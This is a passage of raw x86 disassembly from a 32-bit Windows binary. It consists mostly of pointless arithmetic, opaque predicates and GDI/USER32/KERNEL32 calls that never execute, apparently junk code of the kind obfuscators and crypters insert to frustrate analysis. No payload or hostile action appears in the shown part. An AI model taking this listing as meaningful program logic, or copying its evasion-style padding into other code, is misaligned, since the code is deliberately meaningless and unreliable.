jne 0x1002f5f0
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
xor edx, edx
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x18]
cmp eax, 0xea3f
mov eax, dword [ebp - 0x28]
setl dl
xor ecx, ecx
cmp eax, edx
setne cl
mov dword [ebp - 0x40], ecx
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffe8
jl 0x1002f69d
push 0xffffffffffffffe6
pop esi
mov dword [ebp - 0x3c], 0xffffffe2
jmp 0x1002f68c
mov dword [ebp - 0x20], esi
jmp 0x1002f65d
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0xb
jle 0x1002f65a
or ecx, 0xffffffff
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x28], eax
jmp 0x1002f64c
inc dword [ebp - 0x40]
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], eax
jle 0x1002f646
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], 0xb
jg 0x1002f63e
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xfffffff5
jge 0x1002f632
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002f689
push eax
push 0xda6
push 0x204b
push 0x236c
push 0x724
call dword [sym.imp.GDI32.dll_CreateBitmap]
xor eax, eax
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], esi
jg 0x1002f62d
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffe8
jge 0x1002f624
push 3
pop esi
xor eax, eax
push 0x1313
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PolyPolyline]
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x40], 0x4914d2ed
mov dword [ebp - 0x30], 0xf9c71042
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x1002f6ed
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xfb0], 0x2c6eed1e
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1002f6d5
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1002f6ff
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xe9c], edi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1002f6f2
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x20]
imul ecx, eax
imul eax, ecx, 0xd3e
mov dword [ebp - 0xfa8], ecx
xor ecx, ecx
cmp eax, 0xfffffffd
setne cl
cmp ecx, dword [ebp - 0x20]
je 0x1002f72c
mov eax, dword [ebp - 0xfa8]
mov eax, dword [ebp - 0x20]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x20]
xor edx, edx
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x20]
sub ecx, eax
mov eax, dword [ebp - 0x20]
cmp eax, ecx
setle dl
xor eax, eax
test edx, edx
setns al
sub eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x40]
test eax, eax
jne 0x1002f761
cmp dword [ebp - 0xe9c], eax
je 0x1002f763
mov eax, edi
mov dword [ebp - 0xe9c], eax
xor edx, edx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setge dl
sub edx, dword [ebp - 0x1c]
add edx, 0x27e80a7d
sub edx, dword [ebp - 0x2c]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, edi
setge cl
xor eax, eax
cmp ecx, 0xf205
setle al
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x14], 0xfff9
mov dword [ebp - 0x44], 0x182abbf9
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x40], 0x807383cc
mov dword [ebp - 0x58], 0xd635290c
mov dword [ebp - 0x40], edi
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x40]
add eax, 0xffffe503
add eax, ecx
cmp eax, dword [ebp - 0x14]
jle 0x1002f804
mov dword [ebp - 0x50], 0x20ea0c8d
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x50], 5
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x40], 0xd02e
inc dword [ebp - 0x40]
jmp 0x1002f886
mov dword [ebp - 0x1c], 0x1826fbd1
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x54], 0xfffffff7
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, 5
setg dl
xor ecx, ecx
imul edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x38]
cmp edx, eax
setne cl
sub ecx, 0xcd36
neg ecx
sbb ecx, ecx
add ecx, 0xb
neg ecx
sbb ecx, ecx
inc ecx
add ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x44]
setle dl
xor ecx, ecx
cmp edx, eax
setl cl
xor eax, eax
cmp dword [ebp - 0x1c], ecx
je 0x1002f883
cmp dword [ebp - 0x14], eax
je 0x1002f883
mov eax, edi
mov dword [ebp - 0x54], eax
mov ebx, dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1002f89d
push 0x1112
call ebx
push 2
pop esi
mov dword [ebp - 0x34], edi
lea ecx, [ebp - 0x72c]
mov dword [ebp - 0x44], 0xfc520ea0
mov dword [ebp - 0x40], 0xcf7d
push esi
call fcn.1001710b
xor eax, eax
mov dword [ebp - 4], 0x10
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1002f8ef
push dword [ebp - 0x14]
lea ecx, [ebp - 0x72c]
call fcn.100171a9
mov dword [eax], 0xfffffff6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002f8d1
xor eax, eax
cmp dword [ebp - 0x34], eax
jne 0x1002f91d
mov edx, dword [ebp - 0x34]
xor ecx, ecx
mov eax, dword [ebp - 0x34]
neg edx
cmp edx, eax
setle cl
mov dword [ebp - 0x44], ecx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x34], edi
jl 0x1002f91d
xor eax, eax
mov ecx, eax
jmp 0x1002f91f
mov ecx, edi
mov eax, dword [ebp - 0x34]
imul eax, ecx
mov ecx, 0xbc00eadd
sub eax, dword [ebp - 0x34]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x34]
sub eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x34]
neg eax
sbb eax, eax
inc eax
sub edx, eax
mov eax, dword [ebp - 0x40]
cmp ecx, eax
sbb eax, eax
xor ecx, ecx
neg eax
cmp edx, eax
mov eax, dword [ebp - 0x34]
setg cl
xor edx, edx
cmp ecx, eax
setl dl
sub edx, dword [ebp - 0x34]
neg edx
sbb edx, edx
xor eax, eax
inc edx
imul edx, dword [ebp - 0x34]
test edx, edx
je 0x1002f973
mov esi, edi
cmp dword [ebp - 0x44], eax
jne 0x1002f975
mov esi, eax
push eax
lea ecx, [ebp - 0x72c]
call fcn.100171a9
lea ecx, [ebp - 0x72c]
mov dword [eax], esi
xor eax, eax
push eax
call fcn.100171a9
mov edi, dword [ebp - 0x30]
lea ecx, [ebp - 0x72c]
sub edi, dword [eax]
neg edi
sbb edi, edi
xor eax, eax
push eax
inc edi
call fcn.100171a9
lea ecx, [ebp - 0x72c]
mov esi, dword [eax]
xor eax, eax
imul esi, edi
push eax
add esi, 0xcd36
call fcn.100171a9
lea ecx, [ebp - 0x72c]
mov dword [eax], esi
or eax, 0xffffffff
mov dword [ebp - 4], eax
call fcn.1001718d
push 3
pop esi
push esi
lea ecx, [ebp - 0x618]
call fcn.1001710b
mov dword [ebp - 4], 0x11
xor eax, eax
mov dword [ebp - 0x20], 0xfffffffa
mov dword [ebp - 0x48], 0xfffffffb
mov dword [ebp - 0x14], eax
jmp 0x1002fa11
push dword [ebp - 0x14]
call fcn.100171a9
mov dword [eax], 0x20f89b5
inc dword [ebp - 0x14]
lea ecx, [ebp - 0x618]
cmp dword [ebp - 0x14], esi
jl 0x1002fa00
push 2
pop edi
push edi
call fcn.100171a9
lea ecx, [ebp - 0x618]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
xor eax, eax
push eax
call fcn.100171a9
mov ecx, dword [ebp - 0x20]
imul ecx, dword [eax]
test ecx, ecx
je 0x1002fa98
or eax, 0xffffffff
lea ecx, [ebp - 0x618]
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0xd4], eax
mov dword [ebp - 0xd0], eax
xor eax, eax
push eax
call fcn.100171a9
mov ecx, dword [ebp - 0x20]
add ecx, dword [eax]
je 0x1002fa7e
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x1002fa80
lea esi, [eax + 1]
jmp 0x1002fa82
xor eax, eax
mov esi, eax
push edi
lea ecx, [ebp - 0x618]
call fcn.100171a9
push 3
mov dword [eax], esi
dec dword [ebp - 0x48]
pop esi
jmp 0x1002fad7
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1002faab
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
xor eax, eax
mov dword [ebp - 0x20], edi
cmp dword [ebp - 0x20], eax
jl 0x1002fad7
mov dword [ebp - 0x48], eax
jmp 0x1002facd
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002faca
push eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
xor eax, eax
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], edi
jle 0x1002fab8
dec dword [ebp - 0x20]
jns 0x1002fab3
or eax, 0xffffffff
lea ecx, [ebp - 0x618]
mov dword [ebp - 4], eax
call fcn.1001718d
push esi
lea ecx, [ebp - 0x3e0]
call fcn.1001710b
mov dword [ebp - 4], 0x12
xor eax, eax
xor esi, esi
mov dword [ebp - 0x1c], 7
mov dword [ebp - 0x18], eax
inc esi
cmp dword [ebp - 0x18], esi
jge 0x1002fb27
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x29c], 4
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1002fb0f
xor eax, eax
mov dword [ebp - 0x18], eax
xor edi, edi
push 3
pop eax
cmp dword [ebp - 0x18], eax
jge 0x1002fb51
push eax
pop esi
push dword [ebp - 0x18]
lea ecx, [ebp - 0x3e0]
call fcn.100171a9
mov dword [eax], edi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1002fb36
xor esi, esi
inc esi
push 2
pop eax
push eax
lea ecx, [ebp - 0x3e0]
call fcn.100171a9
push 2
lea ecx, [ebp - 0x3e0]
mov dword [eax], edi
pop eax
push eax
call fcn.100171a9
cmp dword [eax], edi
jg 0x1002fbe2
push 2
pop esi
push esi
lea ecx, [ebp - 0x3e0]
call fcn.100171a9
push 2
mov esi, eax
lea ecx, [ebp - 0x3e0]
pop eax
push eax
call fcn.100171a9
mov ecx, dword [esi]
push 2
pop esi
push esi
mov ecx, dword [ebp + ecx*4 - 0x29c]
mov eax, dword [eax]
mov dword [ebp + eax*4 - 0x29c], ecx
lea ecx, [ebp - 0x3e0]
call fcn.100171a9
mov eax, dword [eax]
cmp dword [ebp + eax*4 - 0x29c], edi
jne 0x1002fbdf
push esi
lea ecx, [ebp - 0x3e0]
call fcn.100171a9
push esi
lea ecx, [ebp - 0x3e0]
inc dword [eax]
call fcn.100171a9
cmp dword [eax], edi
jle 0x1002fb78
xor esi, esi
inc esi
mov dword [ebp - 0x1c], 0xfffffff5
jmp 0x1002fc33
mov dword [ebp - 0x14], 8
mov dword [ebp - 0x14], 0x1d
cmp dword [ebp - 0x14], 0xfffffff8
jne 0x1002fc30
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002fc27
push eax
push 0x12de
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPointW]
xor eax, eax
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffff8
je 0x1002fc01
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe4
jg 0x1002fbeb
or edi, 0xffffffff
lea ecx, [ebp - 0x3e0]
mov dword [ebp - 4], edi
call fcn.1001718d
mov dword [ebp - 0x30], edi
xor eax, eax
push 2
mov dword [ebp - 0x24], eax
pop edi
cmp dword [ebp - 0x24], edi
jge 0x1002fc72
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xbc], 0xfffffff6
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x1002fc5a
xor eax, eax
push 3
mov dword [ebp - 0x24], eax
pop ecx
cmp dword [ebp - 0x24], ecx
jge 0x1002fc95
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x98c], 0
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x1002fc7d
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x1002fcab
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xe2c], 7
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x1002fc9a
mov eax, dword [ebp - 0xbc]
xor edx, edx
mov ecx, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xbc]
cmp ecx, eax
setge dl
cmp edx, dword [ebp - 0xbc]
je 0x1002fcdb
xor eax, eax
cmp dword [ebp - 0xb8], eax
je 0x1002fcdd
mov eax, esi
xor edx, edx
cmp eax, 0x7976
mov eax, dword [ebp - 0xb8]
setle dl
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
or edx, 0xffffffff
cmp ecx, edx
setl al
xor edx, edx
mov dword [ebp - 0x984], eax
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x98c]
mov eax, dword [ebp - 0xb8]
cmp eax, esi
mov eax, dword [ebp - 0xb8]
setl dl
xor ecx, ecx
sub edx, eax
mov eax, dword [ebp - 0xb8]
cmp edx, eax
setl cl
cmp ecx, 0xfffffffc
ja 0x1002fd4f
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x984]
add eax, dword [ebp - 0xb8]
je 0x1002fd63
mov eax, dword [ebp - 0x988]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xb8]
xor eax, eax
mov dword [ebp - 0xe28], eax
mov edx, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xb8]
neg edx
push 0xfffffffffffffff9
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
pop eax
setg cl
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x18], 0xb3198a8f
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xfffffff3
jle 0x1002fe51
push 3
pop edi
mov dword [ebp - 0x1c], 0x93dda37b
lea ecx, [ebp - 0xd14]
push edi
call fcn.1001710b
xor eax, eax
mov dword [ebp - 4], 0x13
mov dword [ebp - 0x14], eax
jmp 0x1002fde5
push dword [ebp - 0x14]
lea ecx, [ebp - 0xd14]
call fcn.100171a9
mov dword [eax], 0x3205f5a2
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1002fdce
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x18]
jne 0x1002fe04
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x18], eax
jge 0x1002fe06
mov ecx, esi
mov eax, dword [ebp - 0x1c]
sub ecx, eax
add ecx, dword [ebp - 0x1c]
jne 0x1002fe13
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0xd14]
xor eax, eax
push eax
call fcn.100171a9
mov ecx, dword [ebp - 0x1c]
xor edx, edx
test ecx, ecx
lea ecx, [ebp - 0xd14]
setns dl
mov dword [eax], edx
or eax, 0xffffffff
mov dword [ebp - 4], eax
call fcn.1001718d
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffff3
jg 0x1002fdad
push 2
pop edi
mov dword [ebp - 0x14], 0xfff9
xor eax, eax
mov dword [ebp - 0x44], 0x182abbf9
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x40], 0x807383cc
mov dword [ebp - 0x58], 0xd635290c
mov dword [ebp - 0x40], esi
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x40]
add eax, 0xffffe503
add eax, ecx
cmp eax, dword [ebp - 0x14]
jle 0x1002feaa
mov dword [ebp - 0x50], 0x20ea0c8d
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x50], 5
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x40], 0xd02e
inc dword [ebp - 0x40]
jmp 0x1002ff2c
mov dword [ebp - 0x1c], 0x1826fbd1
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x54], 0xfffffff7
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, 5
setg dl
xor ecx, ecx
imul edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x38]
cmp edx, eax
setne cl
sub ecx, 0xcd36
neg ecx
sbb ecx, ecx
add ecx, 0xb
neg ecx
sbb ecx, ecx
inc ecx
add ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x44]
setle dl
xor ecx, ecx
cmp edx, eax
setl cl
xor eax, eax
cmp dword [ebp - 0x1c], ecx
je 0x1002ff29
cmp dword [ebp - 0x14], eax
je 0x1002ff29
mov eax, esi
mov dword [ebp - 0x54], eax
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1002ff3d
push 0x1112
call ebx
push 3
pop ebx
push ebx
lea ecx, [ebp - 0x4e8]
call fcn.1001710b
push edi
lea ecx, [ebp - 0x130]
mov dword [ebp - 4], 0x14
call fcn.1001710b
mov byte [ebp - 4], 0x15
xor eax, eax
mov dword [ebp - 0x1c], 0x6310feca
mov dword [ebp - 0x14], 0x1cb64b69
mov dword [ebp - 0x30], 0xdefcecb2
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x1002ffa0
push dword [ebp - 0x18]
lea ecx, [ebp - 0x4e8]
call fcn.100171a9
mov dword [eax], 7
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1002ff82
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jge 0x1002ffc6
push dword [ebp - 0x18]
lea ecx, [ebp - 0x130]
call fcn.100171a9
mov dword [eax], 0xa1f94964
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1002ffa8
xor eax, eax
push eax
lea ecx, [ebp - 0x130]
call fcn.100171a9
lea ecx, [ebp - 0x130]
mov dword [eax], edi
xor eax, eax
push eax
call fcn.100171a9
xor ebx, ebx
cmp dword [eax], ebx
jl 0x1003015c
or edi, 0xffffffff
mov dword [ebp - 0x40], 4
lea ecx, [ebp - 0x130]
mov dword [ebp - 0x58], 0xe24b13b1
push esi
call fcn.100171a9
xor ecx, ecx
cmp dword [eax], ebx
setne cl
mov dword [ebp - 0x40], ecx
lea ecx, [ebp - 0x130]
mov eax, dword [ebp - 0x40]
xor eax, eax
push eax
call fcn.100171a9
xor eax, eax
lea ecx, [ebp - 0x130]
push eax
call fcn.100171a9
lea ecx, [ebp - 0x4e8]
push dword [eax]
call fcn.100171a9
xor ebx, ebx
lea ecx, [ebp - 0x130]
cmp dword [eax], 6
setl bl
xor eax, eax
push eax
call fcn.100171a9
lea ecx, [ebp - 0x4e8]
push dword [eax]
call fcn.100171a9
mov ecx, 0xfff6
cmp ecx, ebx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, dword [eax]
setge dl
xor ecx, ecx
cmp edx, esi
setl cl
xor eax, eax
cmp ecx, esi
setg al
cmp eax, 0x816f
jl 0x10030093
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x10030095
mov ecx, esi
jmp 0x10030097
xor eax, eax
mov ecx, eax
xor eax, eax
cmp ecx, edi
sete al
sub eax, 0xf303
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x14]
jne 0x100300bb
xor eax, eax
lea ecx, [ebp - 0x130]
push eax
call fcn.100171a9
mov dword [ebp - 0x1c], 0x38dd44ad
lea ecx, [ebp - 0x130]
mov eax, dword [ebp - 0x1c]
xor eax, eax
push eax
call fcn.100171a9
lea ecx, [ebp - 0x4e8]
push dword [eax]
call fcn.100171a9
push esi
lea ecx, [ebp - 0x130]
call fcn.100171a9
mov eax, dword [ebp - 0x30]
lea ecx, [ebp - 0x130]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
xor eax, eax
push eax
call fcn.100171a9
lea ecx, [ebp - 0x4e8]
push dword [eax]
call fcn.100171a9
xor eax, eax
lea ecx, [ebp - 0x130]
push eax
call fcn.100171a9
lea ecx, [ebp - 0x4e8]
push dword [eax]
call fcn.100171a9
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x130]
mov dword [ebp - 0x58], eax
xor eax, eax
push eax
call fcn.100171a9
lea ecx, [ebp - 0x130]
dec dword [eax]
xor eax, eax
push eax
call fcn.100171a9
xor ebx, ebx
cmp dword [eax], ebx
jge 0x1002ffef
push 2
pop edi
mov dword [ebp - 0x1c], 7
lea ecx, [ebp - 0x130]
call fcn.1001718d
or eax, 0xffffffff
lea ecx, [ebp - 0x4e8]
mov dword [ebp - 4], eax
call fcn.1001718d
xor ebx, ebx
lea ecx, [ebp - 0x678]
inc ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x44], 0xfc520ea0
mov dword [ebp - 0x40], 0xcf7d
push edi
call fcn.1001710b
xor eax, eax
mov dword [ebp - 4], 0x16
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x100301d1
push dword [ebp - 0x14]
lea ecx, [ebp - 0x678]
call fcn.100171a9
mov dword [eax], 0xfffffff6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x100301b3
xor eax, eax
cmp dword [ebp - 0x34], eax
jne 0x100301ff
mov edx, dword [ebp - 0x34]
xor ecx, ecx
mov eax, dword [ebp - 0x34]
neg edx
cmp edx, eax
setle cl
mov dword [ebp - 0x44], ecx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x34], ebx
jl 0x100301ff
xor eax, eax
mov ecx, eax
jmp 0x10030201
mov ecx, ebx
mov eax, dword [ebp - 0x34]
imul eax, ecx
mov ecx, 0xbc00eadd
sub eax, dword [ebp - 0x34]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x34]
sub eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x34]
neg eax
sbb eax, eax
inc eax
sub edx, eax
mov eax, dword [ebp - 0x40]
cmp ecx, eax
sbb eax, eax
xor ecx, ecx
neg eax
cmp edx, eax
mov eax, dword [ebp - 0x34]
setg cl
xor edx, edx
cmp ecx, eax
setl dl
sub edx, dword [ebp - 0x34]
neg edx
sbb edx, edx
xor eax, eax
inc edx
imul edx, dword [ebp - 0x34]
test edx, edx
je 0x10030255
mov esi, ebx
cmp dword [ebp - 0x44], eax
jne 0x10030257
mov esi, eax
push eax
lea ecx, [ebp - 0x678]
call fcn.100171a9
lea ecx, [ebp - 0x678]
mov dword [eax], esi
xor eax, eax
push eax
call fcn.100171a9
mov edi, dword [ebp - 0x30]
lea ecx, [ebp - 0x678]
sub edi, dword [eax]
neg edi
sbb edi, edi
xor eax, eax
push eax
inc edi
call fcn.100171a9
lea ecx, [ebp - 0x678]
mov esi, dword [eax]
xor eax, eax
imul esi, edi
push eax
add esi, 0xcd36
call fcn.100171a9
lea ecx, [ebp - 0x678]
mov dword [eax], esi
or esi, 0xffffffff
mov dword [ebp - 4], esi
call fcn.1001718d
push 2
pop eax
mov dword [ebp - 0x3c], eax
lea ecx, [ebp - 0x380]
mov dword [ebp - 0x1c], 5
push ebx
call fcn.1001710b
push 0x17
pop edi
mov dword [ebp - 4], edi
xor eax, eax
mov dword [ebp - 0x44], 0xb1743e62
mov dword [ebp - 0x38], 5
mov dword [ebp - 0x30], 0xfffa
mov dword [ebp - 0x20], 0x132c2674
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x58], 0xcbb4
mov dword [ebp - 0x14], eax
jmp 0x10030320
push dword [ebp - 0x14]
lea ecx, [ebp - 0x380]
call fcn.100171a9
mov dword [eax], 0xec1a
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10030309
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
xor eax, eax
cmp dword [ebp - 0x3c], eax
jne 0x10030349
push eax
lea ecx, [ebp - 0x380]
call fcn.100171a9
xor eax, eax
push eax
lea ecx, [ebp - 0x380]
call fcn.100171a9
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x380]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3c]
xor eax, eax
push eax
call fcn.100171a9
mov eax, dword [ebp - 0x38]
lea ecx, [ebp - 0x380]
mov eax, dword [ebp - 0x30]
xor eax, eax
push eax
call fcn.100171a9
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x380]
dec eax
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x40], eax
xor eax, eax
push eax
call fcn.100171a9
mov ecx, dword [ebp - 0x40]
xor edx, edx
cmp ecx, 0x2aa0
setle dl
imul edx, dword [ebp - 0x4c]
cmp edx, dword [eax]
jl 0x100303c4
xor eax, eax
cmp dword [ebp - 0x20], eax
jne 0x100303c6
mov esi, eax
jmp 0x100303c8
xor eax, eax
mov esi, ebx
push eax
lea ecx, [ebp - 0x380]
call fcn.100171a9
mov ecx, dword [ebp - 0x20]
xor edx, edx
cmp esi, ecx
setle dl
cmp edx, dword [eax]
jge 0x100303f0
xor eax, eax
lea ecx, [ebp - 0x380]
push eax
call fcn.100171a9
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x3c]
cmp eax, 0x128
mov eax, dword [ebp - 0x3c]
setl cl
xor edx, edx
cmp ecx, 0x3a29
setle dl
xor ecx, ecx
cmp eax, edx
setge cl
add ecx, 0x58c0f86f
mov dword [ebp - 0x40], ecx
lea ecx, [ebp - 0x380]
mov eax, dword [ebp - 0x40]
sub eax, dword [ebp - 0x4c]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x58], eax
or eax, 0xffffffff
mov dword [ebp - 4], eax
call fcn.1001718d
push 3
pop esi
push esi
lea ecx, [ebp - 0x6e4]
call fcn.1001710b
mov dword [ebp - 4], 0x18
xor eax, eax
mov dword [ebp - 0x20], 0xfffffffa
mov dword [ebp - 0x48], 0xfffffffb
mov dword [ebp - 0x14], eax
jmp 0x1003047c
push dword [ebp - 0x14]
call fcn.100171a9
mov dword [eax], 0x20f89b5
inc dword [ebp - 0x14]
lea ecx, [ebp - 0x6e4]
cmp dword [ebp - 0x14], esi
jl 0x1003046b
push 2
pop esi
push esi
call fcn.100171a9
lea ecx, [ebp - 0x6e4]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
xor eax, eax
push eax
call fcn.100171a9
mov ecx, dword [ebp - 0x20]
imul ecx, dword [eax]
test ecx, ecx
je 0x10030505
or eax, 0xffffffff
lea ecx, [ebp - 0x6e4]
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0xd4], eax
mov dword [ebp - 0xd0], eax
xor eax, eax
push eax
call fcn.100171a9
mov ecx, dword [ebp - 0x20]
add ecx, dword [eax]
je 0x100304e8
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x100304ea
mov esi, ebx
jmp 0x100304ec
xor eax, eax
mov esi, eax
push 2
pop eax
push eax
